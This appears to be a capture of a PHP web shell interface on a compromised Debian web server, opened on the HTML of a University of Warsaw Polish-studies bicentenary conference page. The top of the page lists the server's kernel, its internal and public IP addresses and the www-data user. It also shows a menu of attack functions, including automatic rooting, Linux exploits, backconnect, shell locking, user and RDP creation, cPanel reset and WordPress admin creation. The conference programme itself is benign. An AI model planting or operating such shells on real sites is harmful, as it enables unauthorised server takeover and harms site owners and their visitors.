Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.37.211
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
polon200 /
web /
backup /
[ HOME SHELL ]
Name
Size
Permission
Action
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
index.html
47
KB
-rw-r--r--
index.php
85
B
-rw-r--r--
style.css
44.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.html
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>200 lat Polonistyki UW</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://gitcdn.github.io/bootstrap-toggle/2.2.2/css/bootstrap-toggle.min.css"> <link rel="stylesheet" type="text/css" href="style.css"> <link rel="icon" href="img\logo_konf_6.png"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> </head> <body> <div class="intro-container"> <video autoplay="autoplay" muted id="vid"> <source src="img\polon-pocięty-4.mp4" type="video/mp4"> </video> </div> <div class="intro-container-bis"> <div class="main-title">200 lat Polonistyki UW</div> <!-- checkbox start <div class="pl-lang-menu" id="pl-lang-menu"> <div class="pl-pl-option" id="pl-pl-option">PL</div> <div class="pl-en-option" id="pl-en-option">EN</div> </div> <!--checkbox end </div> <!--<div class="right-panel"> </div> --> <!--English intro-container starts <div class="intro-container en"> <!-- checkbox start <div class="en-lang-menu" id="en-lang-menu"> <div class="en-pl-option" id="en-pl-option">PL</div> <div class="en-en-option" id="en-en-option">EN</div> </div> checkbox end </div> English intro-container ends --> <!--<div class="hiddentitle pl-flex"> <img src="img/logo_konf_6.png"> <p>200 lat Polonistyki UW</p> <div class="pl-lang-menu pl-menu-smaller" id="pl-lang-menu-smaller"> <div class="pl-pl-option pl-pl-option-smaller" id="pl-pl-option-smaller">PL</div> <div class="pl-en-option pl-en-option-smaller" id="pl-en-option-smaller">EN</div> </div> </div>--> <div class="logo-polon"><img src="img\PolonistykaLOGO7.png"> </div> <div class="intro-nav"> <a id="about" class="kafel-link-neutral kafel-link1"> <div class="intro-kafel"> <img src="img\icon-conf.png"> <p>o konferencji</p> </div> </a> <a id="panelplan" class="kafel-link-neutral kafel-link1"> <div class="intro-kafel"> <img src="img\icon-calendar.png"> <p>program</p> </div> </a> <a id="extra-events" class="kafel-link-neutral kafel-link1"> <div class="intro-kafel two-liner"> <img src="img\icon-concert.png"> <p>imprezy<br>towarzyszące</p> </div> </a> </div> <div class="arrow-down"> </div> </div> <!-- <div class="cookies" id="cookies"> <div class="cookies-text"> Nasze strony wykorzystują pliki cookies. Używamy informacji zapisanych za pomocą cookies i podobnych technologii w celach m.in. statystycznych oraz w celu dostosowania naszych serwisów do indywidualnych potrzeb użytkowników. W programie służącym do obsługi internetu można zmienić ustawienia dotyczące cookies. Korzystanie z naszych serwisów internetowych bez zmiany ustawień dotyczących cookies oznacza, że będą one zapisane w pamięci urządzenia. Więcej informacji można znaleźć w naszej <a target="_blank" href="http://ibl.waw.pl/pl/polityka-prywatnosci?app=management2">polityce prywatności</a>. </div> <div class="cookies-x" id="cookies-x"> <p>X</p> </div> </div> --> <div class="main-container"> <div class="welcome" id="welcome"> <h1>Tradycja – Teraźniejszość – Przyszłość</h1> <p>Jesienią 2018 roku przypada dwusetlecie badań polonistycznych prowadzonych na Uniwersytecie Warszawskim. Z tej okazji z inicjatywy Dziekana Wydziału Polonistyki Profesora Zbigniewa Grenia w dniach 5-6 października 2018 roku odbędzie się konferencja naukowa pod nazwą <i>Tradycja. Teraźniejszość. Przyszłość.</i></p> <p>Tradycje badań polonistycznych na Uniwersytecie Warszawskim łączą się z nazwiskami tak wybitnych postaci jak Stanisław Kostka Potocki, Wojciech Szweykowski, Ludwik Osiński, Kazimierz Brodziński, Samuel Bogumił Linde. Konferencja <i>Tradycja. Teraźniejszość. Przyszłość</i> jest organizowana w jubileusz dwusetlecia warszawskiej polonistyki uniwersyteckiej. Pragniemy, aby konferencyjne spotkania stały się forum wymiany myśli osób, którym zarówno przeszłość, jak i przyszłość rodzimej filologii są szczególnie bliskie. Do uczestnictwa w dyskusjach panelowych zapraszamy zwłaszcza literaturoznawców, językoznawców, kulturoznawców, a także filozofów (wszak obecny Wydział Polonistyki był niegdyś częścią Wydziału Filozoficznego) i historyków, obecnych i dawnych pracowników Wydziału, studentów i absolwentów, wszystkich przyjaciół i sympatyków warszawskiej polonistyki. </p> <p>Zaproszenie do Komitetu Honorowego przyjęli: <br>prof. dr hab. Jadwiga Puzynina <br>prof. dr hab. Jerzy Axer <br>dr Andrzej Guzek <br>prof. dr hab. Alina Nowicka-Jeżowa <br>prof. dr hab. Stanisław Dubisz <br>Konferencja objęta jest honorowym patronatem Jego Magnificencji Rektora UW.</p> </div> <div class="container tlo-1"> </div> <div class="konferencja"> <div class="plan"> Plan konferencji </div> <div class="konf-plan-menu"> <div class="plan-item plan-item-1">dzień pierwszy<br>5 października <div class="plan-day1"> <table> <tr> <td class="day-info" colspan="4">5 października, piątek</td> </tr> <tr> <td class="table-heading">Godziny</td> <td class="table-heading" colspan="3">Wydarzenie</td> </tr> <tr> <td class="hour"> 10.00 – 11.00 </td> <td colspan="3"> Uroczyste otwarcie konferencji<br> <span class="venue">Instytut Historyczny, Sala Kolumnowa</span> </td> </tr> <tr> <td class="hour"> 11.30 – 13.00 </td> <td colspan="3"> 200 lat polszczyzny<br> <span class="venue">Panel IJP. Instytut Historyczny, Sala Kolumnowa</span> </td> </tr> <tr> <td class="hour"> 13.00 – 14.00 </td> <td colspan="3"> Przerwa obiadowa<br> <span class="venue">Instytut Historyczny, Sala Kolumnowa</span> </td> </tr> <tr> <td class="hour"> 14.00 – 16.00 </td> <td colspan="4"> Ślady na piasku i kręgi na wodzie.<br><span class="nobold">Nowoczesne literaturoznawstwo warszawskie: memorabilia (zapamiętane – zapomniane – odpamiętniane)</span> <br><span class="venue">Panel ILP. Pałac Kazimierzowski, Sala im. J. Brudzińskiego</span> </td> </tr> <tr> <td class="hour"> 16.00 – 16.30 </td> <td colspan="3"> Przerwa kawowa<br> <span class="venue"></span> </td> </tr> <tr> <td class="hour"> 16.30 – 18.00 </td> <td class="no-right-border"> Warszawskie historie literatury polskiej<br> <span class="venue">Panel ILP. Pałac Kazimierzowski, Sala im. J. Brudzińskiego</span> </td> <td class="hour alt-left-border"> 16.30 – 18.30 </td> <td> Współczesna kultura polska jako wyzwanie dla humanistyki<br> <span class="venue">Panel IKP. Budynek IKP, sala nr 5</span> </td> </tr> <tr> <td class="hour"> 18.00 – 19.00 </td> <td> Program artystyczny<br> <span class="venue">Pałac Kazimierzowski, Sala im. J. Brudzińskiego</span> </td> <td class="hour alt-left-border"> 18.30 – 19.00 </td> <td> Wernisaż wystawy "Projekt Powiśle – twórcze badanie miasta"<br> <span class="venue">Instytut Kultury Polskiej</span> </td> </tr> <tr> <td class="hour"> 19.00 – 21.00 </td> <td colspan="3"> Kolacja<br> <span class="venue">Pałac Kazimierzowski, klub profesorski</span> </td> </tr> </table> </div> </div> <div class="plan-item plan-item-2">dzień drugi<br>6 października <div class="plan-day2"> <table> <tr> <td class="day-info" colspan="4">6 października, sobota</td> </tr> <tr> <td class="table-heading">Godziny</td> <td class="table-heading" colspan="3">Wydarzenie</td> </tr> <tr> <td class="hour"> 9:30 – 11.30 </td> <td class="no-right-border"> Literatura polska dziś – co z nią robić?<br> <span class="venue">Panel ILP, Instytut Historyczny, Sala Kolumnowa</span> </td> <td class="hour alt-left-border"> 9:30 – 11.30 </td> <td> Język wśród ludzi<br> <span class="venue">Panel IJP, Pałac Tyszkiewiczów-Potockich, Sala Balowa</span> </td> </tr> <tr> <td class="hour"> 11.30 – 12.30 </td> <td colspan="3"> Brunch<br> <span class="venue">Pałac Tyszkiewiczów-Potockich, Sala Bilardowa</span> </td> </tr> <tr> <td class="hour"> 12.30 – 15.00 </td> <td colspan="3"> Wyzwania nowoczesnej dydaktyki polonistycznej i kulturoznawczej<br> <span class="venue">Panel, Pałac Tyszkiewiczów-Potockich, Sala Balowa</span> </td> </tr> <tr> <td class="hour"> 15.00 – 15.30 </td> <td colspan="4"> Uroczyste zakończenie obrad <br><span class="venue">Pałac Tyszkiewiczów-Potockich, Sala Balowa</span> </td> </tr> </table> </div> </div> <div class="plan-item plan-download"><a href="img\jubileusz_polonistyki_uw_program.pdf" target="_blank">pobierz plan konferencji</a> </div> </div> <div class="panels">Opis paneli </div> <div class="extra-events">Imprezy towarzyszące </div> <div class="motto"> <img src="img\brudziński_grey.png"> <p class="motto-text">Gruntowne poznanie tego narzędzia za którego pomocą myślimy, przez które wszelkie nasze wyobrażenia przyjmujemy i oddajemy, jest pierwszą zasadą dobrego użycia władz umysłowych, nie tylko cała władza myślenia polega na języku, ale język jest zawsze punktem porozumienia się rozumu z samym sobą.<br><span class="motto-credit">Kazimierz Brodziński, <i>Wstęp do Krytycznej Historii Literatury Polskiej</i>.<br>Odczyty w Uniwersytecie Warszawskim, 1822-1829.</span> </p> </div> </div> <div class="container panels-details"> <h1>Panele</h1> <div class="event"> <div class="moderator-photo"> <img src="img/halina_karas.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: prof. dr hab. HALINA KARAŚ </div> <div class="event-lead-title">200 lat polszczyzny </div> </div> <div class="event-chronotop"> <p>5 października, 11.30 – 13.00</p> <p>Instytut Historyczny, Sala Kolumnowa</p> </div> </div> <div class="event-full-description"> <p>Ostatnich dwieście lat przyniosło Polsce – oprócz zmian cywilizacyjnych: społecznych, politycznych, gospodarczych – również niebywały rozwój języka. Zrazu posługiwanie się polszczyzną było skrępowane zakazami, a nawet bezpośrednio zagrożone eliminacją. Niewątpliwie jednak aż do roku 1918 to właśnie język pozwalał Polakom utrzymać „niewidzialne” państwo, jakim przez 123 lata zaborów była Polska. Po odzyskaniu niepodległości język stał się narzędziem ponownej integracji polskiego społeczeństwa. W czasach najnowszych przychodzi nam się mierzyć z globalizacją, która dotyka również sfery kultury i języka, który w znacznym stopniu nasyca się zapożyczeniami, przede wszystkim zaś – silnie anglicyzuje. Równocześnie zaś daje się zaobserwować renesans gwar i rozkwit odmian środowiskowych polszczyzny. </p> <p>Zadaniem, które stawiamy przed uczestnikami panelu – badaczami języka zajmującymi się jego historią i współczesnością – jest zebranie najważniejszych faktów, zjawisk i tendencji w polszczyźnie w ostatnich dwustu latach. Historia polszczyzny zostanie ukazana na tle zjawisk ogólnokulturalnych i politycznych; paneliści przyjrzą się ponadto zjawiskom gramatycznym i odniosą się do współczesnych procesów językowych, być może także zaproponują periodyzację najnowszych dziejów polszczyzny.</p> <p>W panelu udział wezmą: <br>prof. dr hab. Stanisław Dubisz <br>prof. dr hab. Andrzej Markowski <br>prof. dr hab. Krystyna Waszakowa <br>dr hab. Wanda Decyk-Zięba prof. UW <br>dr hab. Alina Kępińska prof. UW </p> </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src="img/danuta_ulicka.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: prof. dr hab. DANUTA ULICKA </div> <div class="event-lead-title">Ślady na piasku i kręgi na wodzie.<br> <p class="event-title-secondpart">Nowoczesne literaturoznawstwo warszawskie:<br>memorabilia (zapamiętane – zapomniane – odpamiętniane)</p> </div> </div> <div class="event-chronotop"> <p>5 października, 14.00 – 16.00</p> <p>Pałac Kazimierzowski, Sala im. J. Brudzińskiego</p> </div> </div> <div class="event-full-description"> <p>W 1955 roku na Uniwersytecie Warszawskim powstała Katedra Teorii Literatury powołana przez Kazimierza Budzyka. Jeśli nie liczyć założonej w oddziale Łódzkiej Wolnej Wszechnicy w 1939 roku Katedry Historii i Teorii Literatury powierzonej Stefanii Skwarczyńskiej, była to pierwsza w Polsce instytucja z oficjalną nazwą nowej dyscypliny literaturoznawczej.<br> Nowej – czyli wykrystalizowanej ćwierć wieku wcześniej, w dekadach drugiej i trzeciej XX wieku w studenckich kołach polonistów Warszawy, Wilna i Poznania. Koło Warszawskie, którego Budzyk był członkiem, odgrywało wśród nich najważniejszą, założycielską rolę. Ogarniając stuletnią historię nowoczesnego polskiego literaturoznawstwa teoretycznego, można (za Januszem Sławińskim) powiedzieć, że ta studencka przeszłość była przyszłością. I, wbrew wszystkim proklamowanym metodologicznym zwrotom, przełomom, zerwaniom – pozostaje teraźniejszością, nawet pomimo tak dramatycznych politycznych nieciągłości, jak Marzec 1968 roku. Teraźniejszością – zapomnianą, czytaną na nowo – okazuje się jeszcze dalsza przeszłość, ta z początku wieku XIX. <br> Chciałoby się przypomnieć, a choćby tylko zasygnalizować ten stan rzeczy. Nie gwoli tworzenia gliptoteki. Czas przeszły i teraźniejszy zawsze nakładają się na siebie niczym na fotografii wykonanej techniką izohelii i tylko takie odczytywanie historii (przedmiotu wiedzy i wiary) jest rozumne. Jak nawoływał w połowie lat 30. potężny brodaty profesor historii starożytnej na Uniwersytecie Jana Kazimierza we Lwowie, Konstanty Chyliński, „do wszystkich diabłów, moi złoci, pamiętajcie, że wszelkie przekazywanie przeszłości komukolwiek ma o tyle sens, o ile byście zdołali wprawić w czaszkę takie oczy, które by widziały i z przeszłej, i z teraźniejszej perspektywy!”. <br> Panelową dyskusję zainicjują wystąpienia wspomnieniowe (prof. Zofii Mitosek), przypomnieniowe (Heleny Markowskiej, Artura Hellicha, Danuty Ulickiej), odpomnieniowe (Marzeny Franke) i dopiero do pamięci wprowadzane (Karoliny Szymaniak). </p> <p>W panelu udział wezmą: <br>prof. dr hab. Zofia Mitosek <br>dr Artur Hellich <br>mgr Marzena Franke <br>mgr Helena Markowska </p> </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src=""> </div> <div class="event-lead"> <div class="event-lead-name">moderator: prof. dr hab. EWA PACZOSKA </div> <div class="event-lead-title">Warszawskie historie literatury polskiej<br> </div> </div> <div class="event-chronotop"> <p>5 października, 16.30 – 18.00</p> <p>Pałac Kazimierzowski, Sala im. J. Brudzińskiego</p> </div> </div> <div class="event-full-description"> <p>Celem panelu jest próba odpowiedzi na pytanie, czy warszawska polonistyka wykształciła jakiś swój własny sposób uprawiania historii literatury i na czym polegała i polega jego specyfika. Spojrzymy na tę kwestię z perspektywy historii literatury poszczególnych epok, przypominając dokonania profesorów naszego wydziału w zakresie odkrywania nowych tekstów i nowych perspektyw badawczych, a także – różnych sposobów aktywizacji kontaktu z odległymi już w czasie dziełami. Chcielibyśmy zwrócić uwagę na obecny od dekad w dorobku warszawskich historyków literatury ścisły związek badań literaturoznawczych i kulturoznawczych, dokonań edytorskich i interpretacyjnych, a także badań komparatystycznych. W ostatnich latach wyraźnym tropem badawczym staje się refleksja nad literaturą polską w kontekście kulturowej historii Europy Środkowo-Wschodniej. Spróbujemy pokazać też miejsce warszawskiej polonistyki w dyskusjach metodologicznych ostatnich dekad, ważnych dla historyków literatury. "Warszawskie historie literatury" mają także swój wart przypomnienia wymiar biograficzny, z którego wynikały zainteresowania i naukowe fascynacje poszczególnych badaczy. Także – wymiar polityczny, tworzyli je bowiem również ci, którzy po r. 1968 odeszli z naszego Wydziału do Instytutu Badań Literackich PAN. Dylematy i wybory – zarówno te osobiste, jak i te wynikające z doświadczeń zbiorowych – to wart przypomnienia kontekst "warszawskich historii literatury". </p> <p>W panelu udział wezmą: <br>prof. dr hab. Grażyna Borkowska <br>prof. dr hab. Roman Krzywy <br>prof. dr hab. Danuta Sosnowska <br>dr hab. Michał Kuziak prof. UW <br>dr hab. Urszula Kowalczuk <br>dr Mikołaj Golubiewski </p> </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src="img/godlewski.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: prof. dr hab. GRZEGORZ GODLEWSKI </div> <div class="event-lead-title">Współczesna kultura polska jako wyzwanie <br> dla humanistyki </div> </div> <div class="event-chronotop"> <p>5 października, 16:30 – 18:30</p> <p>Instytut Kultury Polskiej, sala nr 5</p> </div> </div> <div class="event-full-description"> <p>Celem panelu dyskusyjnego <i>Współczesna kultura polska jako wyzwanie dla humanistyki</i> będzie próba zastanowienia się nad zadaniami humanistyki w związku z procesami zachodzącymi zarówno w polskim i globalnym systemie kulturowym, jak i tymi, które wynikają z dziejących się i nadchodzących przemian w ustroju i funkcjonowaniu polskich uczelni wyższych.</p><br> <p>Panelowi temu towarzyszyć będzie wernisaż wystawy będącej efektem „Projektu Powiśle” opartego na twórczych metodach badania miasta i zrealizowanego przez studentów specjalizacji „Animacja kultury” w Instytucie Kultury Polskiej. Na wernisaż zapraszamy o 18.30.</p> <p>W panelu udział wezmą: <br>prof. dr hab. Inga Iwasiów <br>dr hab. Iwona Kurz <br>dr hab. Tomasz Majewski <br>dr hab. Anna Nacher <br>dr hab. Andrzej W. Nowak <br>dr Tomasz Rakowski </p> <br> </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src="img/dorota_jedynak.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: prof. dr hab. DOROTA ZDUNKIEWICZ-JEDYNAK </div> <div class="event-lead-title">Język wśród ludzi </div> </div> <div class="event-chronotop"> <p>6 października, 9.30 – 11.30</p> <p>Pałac Tyszkiewiczów-Potockich, Sala Balowa</p> </div> </div> <div class="event-full-description"> <p>O języku mówi się niekiedy, że jest ekranem życia narodu, narzędziem wspólnoty, podstawą komunikacji. Czy jest tak w istocie? Na ile język pomaga się do siebie zbliżyć ludziom z różnych światów? Na ile się zmienił? Czy wciąż potrafi łączyć pokolenia? Czy umiemy się nim posługiwać zrozumiale, precyzyjnie i poprawnie, a nade wszystko – przyjaźnie i z szacunkiem?</p> <p>Pytania o to, jak funkcjonuje język w różnych sferach życia społecznego – w polityce, biznesie, Kościele, internecie i mediach społecznościowych, w prasie, radiu i telewizji, w szkołach, urzędach i w administracji, w medycynie, a także literaturze – skierujemy do przedstawicieli różnych pokoleń i środowisk, którzy językiem posługują się na co dzień w swojej pracy, którzy w języku pracują i z niego żyją.</p> <p>W panelu udział wezmą: <br>prof. dr hab. Włodzimierz Gruszczyński <br>ks. dr hab. Andrzej Draguła prof. US <br>dr. hab. Jacek Wasilewski <br>dr Antonina Doroszewska <br>red. Jerzy Sosnowski <br>mgr Paulina Mikuła </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src="img\twojcik.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: dr. hab. TOMASZ WÓJCIK prof. UW </div> <div class="event-lead-title">Literatura polska dziś – i co z nią robić? </div> </div> <div class="event-chronotop"> <p>6 października, 9:30 – 11:30</p> <p>Instytut Historyczny, Sala Kolumnowa</p> </div> </div> <div class="event-full-description"> <p>Przebieg rozmowy wyznaczą następujące pytania / zagadnienia:</p> <ol> <li>Faktyczna głębokość przemian zachodzących obecnie w literaturze: chwilowe mody czy trwałe zmiany?</li><br> <li>Literatura najnowsza: kontynuacja przemian dokonujących się w dekadzie lat 90. i na początku stulecia czy nowa jakość?</li><br> <li>Poznawcza użyteczność wobec tej literatury wielkich pojęć i kategorii porządkujących współczesną kulturę: postmodernizm, późna nowoczesność, ponowoczesność.</li><br> <li>Miejsce literatury w strukturze kultury: możliwość utrzymania podziału na literaturę wysoką i niską (elitarną i popularną) czy zniesienie granicy?</li><br> <li>Granice literatury w świetle najnowszej twórczości: poszerzanie obszarów nie-fikcji.</li><br> <li>Wielkie funkcje literatury (poznawcza i etyczna): możliwe czy niemożliwe dzisiaj do wypełnienia?</li><br> <li>(pytanie rezerwowe) Oczekiwanie na arcydzieło: czy w kontekście współczesnej kultury jeszcze zasadne?</li><br> <li>(pytanie rezerwowe) Kondycja krytyki literackiej: powody i konsekwencje jej kryzysu / kresu.</li><br> </ol> <br> <p>W panelu udział wezmą: <br>prof. dr hab. Hanna Gosk <br>prof. dr hab. Józef Olejniczak <br>prof. dr hab. Piotr Śliwiński <br>prof. dr hab. Andrzej Zieniewicz <br>dr hab. Tomasz Cieślak prof. UŁ <br>dr hab. Marzena Woźniak-Łabieniec prof. UŁ <br>dr hab. Żaneta Nalewajk-Turecka </p> <br> </div> <div class="event-border"> </div> <div class="event"> <div class="moderator-photo"> <img src="img/marta_zimniak_halajko.png"> </div> <div class="event-lead"> <div class="event-lead-name">moderator: dr hab. MARTA ZIMNIAK-HAŁAJKO </div> <div class="event-lead-title">Wyzwania nowoczesnej dydaktyki<br>polonistycznej i kulturoznawczej </div> </div> <div class="event-chronotop"> <p>6 października, 12.30 – 15.00</p> <p>Pałac Tyszkiewiczów-Potockich, Sala Balowa</p> </div> </div> <div class="event-full-description"> <p>Celem panelu jest wymiana doświadczeń w budowaniu i realizowaniu programów dydaktycznych dostosowanych do wyzwań współczesności oraz potrzeb nowych pokoleń studentów. </p> <br> Prowadząca: dr hab. Marta Zimniak-Hałajko<br> <br> 12.30 – 12.45<br><br> <b> dr Weronika Parfianowicz-Vertun, dr Piotr Kubkowski – Wychodząc poza Uniwersytet (Instytut Kultury Polskiej UW)</b><br> <p> W naszym wystąpieniu opowiemy o tych modelach dydaktycznych praktykowanych w Instytucie Kultury Polskiej, których istotnym elementem są działania poza Uniwersytetem, a często też poza Warszawą. Prezentacja na dwa głosy poświęcona będzie 1. zajęciom konwersatoryjnym i warsztatowym, prowadzonym w przestrzeni Warszawy (zarówno w instytucjach kultury, jak i w przestrzeniach takich jak osiedla mieszkaniowe i inne założenia urbanistyczne) 2. wypracowanej w IKP formule studenckich objazdów naukowych oraz 3. dydaktycznej nowości: czesko-polskiej szkole letniej w Jaromerzu.</p><br> 12.45 – 13.00<br><br> <b> dr Zoriana Rybczyńska – Interdyscyplinarność jako możliwość i wyzwanie (o koncepcji dydaktycznej „Kulturologii” (kulturoznawstwo UKU – Ukraiński Uniwersytet Katolicki, Lwów)</b> <p> Na terenach byłego Związku Radzieckiego kulturologia jako dyscyplina naukowa ukształtowała się w warunkach kryzysu humanistyki sowieckiej w latach przełomu politycznego i zmian systemowych. Mimo tego, że kulturologia wyrosła z istniejących dziedzin humanistyki, początkowo postrzegano ją jako nową, nieskompromitowaną przez współpracę z reżimem dyscyplinę naukową, oferującą między innymi znacznie większe wolności badawcze oraz dydaktyczne. Jednak z płynem czasu można dostrzec, że to, co uważane było za alternatywny projekt akademicki, w praktyce uniwersyteckiej jawi się raczej jako swoisty kompromis między pozostałościami starego systemu oraz zalążkami systemu nowego. W wymiarze dydaktyki przejawia się to w postaci wciąż dominującego „kompilacyjnego” podejścia do układania programu studiów. Potrzebne są zmiany poprzedzone pogłębioną refleksją o współczesnej kondycji dyscypliny. W jaki sposób, po niemal 30 latach istnienia na uniwersytetach, zmieniła się tożsamość kulturologii jako specjalizacji akademickiej? W jakim kierunku kulturologia powinna się rozwijać w przyszłości? Jak, na przykład, teoretyczna analiza zjawisk kulturowych powinna być łączona z elementami zaczerpniętymi z animacji kultury? W jaki sposób krytyczną analizę dopełniać poprzez wprowadzenie zagadnień, związanych z wykorzystywaniem zasobów kulturowych (zarządzanie kulturą, przemysły kulturalne etc.)?</p> <br> 13.00 – 13.15 <br><br> <b>dr Joanna Tabor, „Sprawdzam!” – Zajęcia w terenie jako metoda autoweryfikacji kompetencji studentów filologii bałtyckiej (Zakład Bałtystyki UW)</b> <p>Prezentacja dotyczyć będzie różnych form pracy w terenie (ekspedycje dialektologiczne i etnograficzne, seminaria wyjazdowe, współorganizacja festiwalu literackiego) studentów filologii bałtyckiej jako metody nie tylko świetnie wspomagającej standardowe nauczanie, ale przede wszystkim pozwalającej uczestnikom na autoewaluację nabytych kompetencji i umiejętności w nowym, poznawanym dopiero otoczeniu językowym i kulturowym. Zajęcia takie są także dla studentów okazją do weryfikacji poziomu kształcenia na kierunku oraz skuteczności dydaktycznej wykładowców Zakładu Bałtystyki. Wpływają też na poczucie przydatności zdobytej wiedzy w środowisku pozauniwersyteckim, co zwiększa motywację do dalszej nauki.</p> <br> 13.15 – 13.30 <br><br> <b>dr hab. Marzena Stępień – Interdyscyplinarność w logopedii – raport z pogranicza nauki i dydaktyki (Instytut Polonistyki Stosowanej UW)</b> <p> Logopedia jest nauką wymagającą poruszania się w obszarze co najmniej trzech innych dyscyplin i dziedzin: lingwistyki (nauki humanistyczne), psychologii i pedagogiki (nauki społeczne) oraz medycyny (nauki o życiu). Czerpiąc z tych dziedzin, jest ona zarazem dyscypliną odrębną, gdyż w ciągu ostatnich 40 lat wypracowane zostały metody i techniki badawcze, a także sposób postępowania badawczego charakterystyczne właśnie dla logopedii. Każdy logopeda musi również zmierzyć się z zadaniami badawczymi. Bycie dobrym terapeutą mowy wymaga bowiem umiejętności postawienia hipotezy dotyczącej istoty oraz przyczyn trudności komunikacyjnych, zweryfikowania tej hipotezy poprzez odpowiednie działania diagnostyczne, adekwatnego zaplanowania i przeprowadzenia terapii, a także systematycznej oceny postępów w terapii i dostosowywania dalszych działań do wyników tej oceny. Takie wymagania stawiają pod znakiem zapytania tradycyjny system kształcenia, w którym wykładowca ma kontakt głównie z licznymi grupami studentów podczas wykładów czy ćwiczeń. Znacznie lepsza jest bowiem w tym wypadku taka organizacja kształcenia, dzięki której student więcej czasu poświęca na samodzielną pracę (indywidualnie lub w małej, kilkuosobowej grupie) pod kierunkiem wykładowcy, regularnie się z nim konsultując i przedstawiając wyniki podczas zajęć, w których uczestniczy większa liczba studentów (np. konwersatoriów). Podczas panelu opowiem, jak staramy się realizować ten postulat, poruszając się z konieczności w ramach obowiązujących standardów kształcenia.</p> <br> 13.30 – 13.45 Dyskusja <br><br> 13.45 – 14.00 Przerwa kawowa <br><br> 14.00 – 14.15 <br><br> <b>dr Piotr Kajak – Polski jako obcy 2.0 (Centrum Języka Polskiego i Kultury Polskiej dla Cudzoziemców „Polonicum”, UW)</b> <br> <p>Referent przedstawi najciekawsze projekty związane z nauczaniem jpjo, realizowane w ostatnich latach w Centrum Polonicum, w tym ożywioną współpracę z ośrodkami zagranicznymi oraz liczne projekty FID.</p> <br> 14.15 – 14.30 <br><br> <b>dr hab. Martina Ivanová, dr Jasmina Suler-Galos, mgr Ana Marković, mgr Teresa Piotrowska-Małek, dr Milena Hebal-Jezierska, mgr Anna Jakubowska – Metody dydaktyczne stosowane w nauce języków słowiańskich w Instytucie Slawistyki UW</b> <br> <p>W referacie zostaną pokrótce przedstawione metody dydaktyczne stosowane podczas nauki języków słowiańskich w Instytucie Slawistyki Zachodniej i Południowej. Szczególną uwagę poświęcimy metodzie wizualizacyjnej, komiksowej oraz pracy z tekstami autentycznymi, m.in. analizie tekstów literackich.</p> <br> 14.30 – 14.45 <br><br> <b>prof. dr hab. Dorota Zdunkiewicz-Jedynak, prof. dr hab. Iwona Burkacka – Dla nas istnieją dwa światy: ten, zanim poznałyśmy postmillennialsów, oraz ten, który poznałyśmy dzięki nim. Nasz dydaktyczny restart wobec wyzwań nowego pokolenia studentów (Instytut Języka Polskiego UW)</b> <br> <p>Opowiemy o podejmowanych przez nas próbach uwolnienia się od kultury uczenia rodem z XIX wieku i otwarcia na rozpoznane przez nas potrzeby pokolenia urodzonego na przełomie XX i XXI wieku. Bohaterami naszego wystąpienia są nasi studenci. Tworzymy wespół z nimi "wspólnotę wiedzy", przyświeca nam idea wspólnego z nimi rozwiązywania problemów, a przez zaangażowanie ich w takie działanie – kształtowania wspólnej nam (mimo przynależności do różnych pokoleń i odmiennych kulturowych korzeni) inteligenckiej tożsamości, zaufania i otwartości we wzajemnych kontaktach. Zakładając, że to na nas spoczywa ciężar dostarczenia studentom inspiracji, aby rosły (czasem najpierw rodziły się) ich zainteresowania polonistyczne, badawcza ciekawość, naukowe fascynacje i praktyczne sprawności, wierzymy jednocześnie, że choć pełnimy w tych podróżach "ku wiedzy" rolę przewodnika, jesteśmy też pilnymi uczniami naszych studentów – uczymy się od nich innej wrażliwości, innego widzenia problemów, obcych nam umiejętności. Tymi doświadczeniami podzielimy się podczas panelu.</p> <br> 14.45 – 15.00 Dyskusja <br> <br> </div> <div class="event-border"> </div> </div> <div class="cultural-events"> <h1> Wydarzenia towarzyszące</h1> <div class="cultural"> <img class="margin-right" src="img\powisle2.png"> <p><b>Projekt Powiśle - wystawa</b><br><br>Wystawa „Projekt Powiśle” podsumowuje działania artystyczno-społeczne prowadzone w tej części miasta od października 2017 roku do czerwca 2018 roku. W ramach Projektu Powiśle zaproszeni do współpracy artyści i badacze we współpracy ze studentami Instytutu Kultury Polskiej UW eksplorowali społeczną, materialną, wizualną i audialną sferę dzielnicy, wykorzystując do tego strategie sztuki współczesnej.<br><br><span class="more-about"><a target=”_blank” href="http://animacjakultury.uw.edu.pl/?p=1480">więcej o projekcie</a></span> </p> </div> <div class="cultural"> <p><b>Patrzymy dzisiaj. Polonistyka warszawska w oczach studentów</b><br><br>Na wystawę składają się zdjęcia dokumentujące inicjatywy studenckie i zajęcia nadobowiązkowe w roku akademickim 2017.2018: wigilię, Dni Polonistyki, mecz piłkarski studenci vs. pracownicy, obóz integracyjny dla studentów pierwszego roku oraz kilka innych projektów. Pokazujemy też migawki ze spektakli Teatru Polonistyki (nie tylko z minionego roku) oraz kabaretu Tubabuntu. Wszystkie te inicjatywy cementują wydziałową społeczność, ale także sprawiają, że życie Wydziału toczy się nie tylko w ławkach biblioteki czy salach wykładowych.</p> <img class="margin-left" src="img\teatr.png"> </div> </div> <!-- 